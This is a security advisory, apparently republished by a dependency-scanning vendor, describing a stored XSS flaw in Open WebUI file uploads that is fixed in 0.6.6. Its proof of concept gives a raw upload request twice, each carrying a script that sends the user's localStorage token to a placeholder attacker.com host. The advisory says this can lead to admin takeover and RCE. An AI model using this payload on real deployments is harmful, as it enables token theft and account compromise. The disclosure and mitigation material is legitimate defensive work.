GHSA-8gh5-qqh8-hq3x
Open WebUI allows limited stored XSS vila uploaded html file
Blast Radius
open-webuiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Low privileged users can upload HTML files which contain JavaScript code via the /api/v1/files/ backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability.
Details
The following HTTP request can be sent to the backend server to upload a file with the contents:
<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>
POST /api/v1/files/ HTTP/1.1
Host: localhost:8080
Content-Length: 286
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm
------WebKitFormBoundaryr0PnRBBHKXD9UEdm
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html
<h1>padding</h1>
<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>
------WebKitFormBoundaryr0PnRBBHKXD9UEdm--
Note the filename="test.html" , Content-Type: text/html, and <h1>padding</h> in the request's body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a <script> tag.
The backend server responds to the above request with JSON data that contains an id parameter.
This ID can be used to view the uploaded file in the browser at <Backend_URL>/api/v1/files/<file_id>/content/html
Because of the authorization checks done on lines https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438, this file can only be viewed by admins and the user that uploaded it, but not by other low-privileged users, thus limiting the imact of this stored XSS vulnerability.
PoC
First, upload an html containing JavaScript code to the backend server using the following HTTP request:
POST /api/v1/files/ HTTP/1.1
Host: localhost:8080
Content-Length: 286
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm
------WebKitFormBoundaryr0PnRBBHKXD9UEdm
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html
<h1>padding</h1>
<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>
------WebKitFormBoundaryr0PnRBBHKXD9UEdm--
Then copy the id from the response and use it to view the file in the browser at <Backend_URL>/api/v1/files/<file_id>/content/html
Impact
Low privileged users can upload HTML files containing malicious JavaScript code. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin's account, ultimately enabling RCE via functions, as described in https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | open-webui | all versions | 0.6.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update open-webui to 0.6.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8gh5-qqh8-hq3x is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-8gh5-qqh8-hq3x is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-8gh5-qqh8-hq3x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-8gh5-qqh8-hq3x in your dependencies?
O3 detects GHSA-8gh5-qqh8-hq3x across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.